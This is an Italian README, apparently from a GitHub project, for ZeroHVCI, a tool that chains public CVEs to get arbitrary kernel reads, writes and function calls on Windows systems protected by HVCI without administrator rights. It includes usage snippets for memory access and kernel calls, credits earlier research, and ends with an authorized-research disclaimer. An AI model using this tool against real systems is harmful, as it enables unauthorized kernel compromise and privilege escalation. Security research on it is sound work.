
Ottieni letture/scritture arbitrarie del kernel e chiamate di funzioni in ambienti protetti da Hypervisor-Protected Code Integrity (HVCI) senza permessi di amministratore o driver del kernel.
ZeroHVCI consente letture/scritture/chiamate di funzioni arbitrarie del kernel in ambienti protetti da Hypervisor-Protected Code Integrity (HVCI) senza permessi di amministratore né driver del kernel.

Per iniziare con ZeroHVCI, puoi clonare questo repository e compilare il progetto.
//
// Read kernel memory example:
//
ReadKernelMemory(source_address, buffer_address, size);
//
// Write kernel memory example:
//
WriteKernelMemory(source_address, buffer_address, size);
//
// Kernel function calling example via name:
//
KF::CallKernelFunctionViaName<kernel_param_type1, kernel_param_type2, kernel_param_type3>(
"kernel_function_name",
param1,
param2,
param3);
//
// ExAllocatePool example:
//
KF::CallKernelFunctionViaName<PVOID, POOL_TYPE, SIZE_T>("ExAllocatePool", PoolType, Size);
//
// memcpy example:
//
KF::CallKernelFunctionViaName<PVOID, PVOID, PVOID, SIZE_T>("memcpy", Dst, Src, Size);
//
// PsLookupProcessByProcessId example:
//
PEPROCESS Process;
KF::CallKernelFunctionViaName<NTSTATUS, HANDLE, PEPROCESS*>("PsLookupProcessByProcessId", ProcessHandle, &Process);
Due progetti principali rendono possibile tutto questo
Dimostra come CVE pubblicate possano essere concatenate per ottenere accesso al kernel in ambienti protetti da HVCI. Utile per i ricercatori di sicurezza che studiano l'integrità del kernel Windows e le mitigazioni per il bypass dell'HVCI.
Cr4sh per KernelForge
varwara per la sua POC POC2
Eric Egsgard per la sua presentazione
Solo per ricerca sulla sicurezza educativa e autorizzata. Non utilizzare su sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita al test. Non sono responsabile per un uso improprio. Utilizzo a proprio rischio.
Tutti i nomi di prodotto, marchi e marchi registrati menzionati sono di proprietà dei rispettivi proprietari.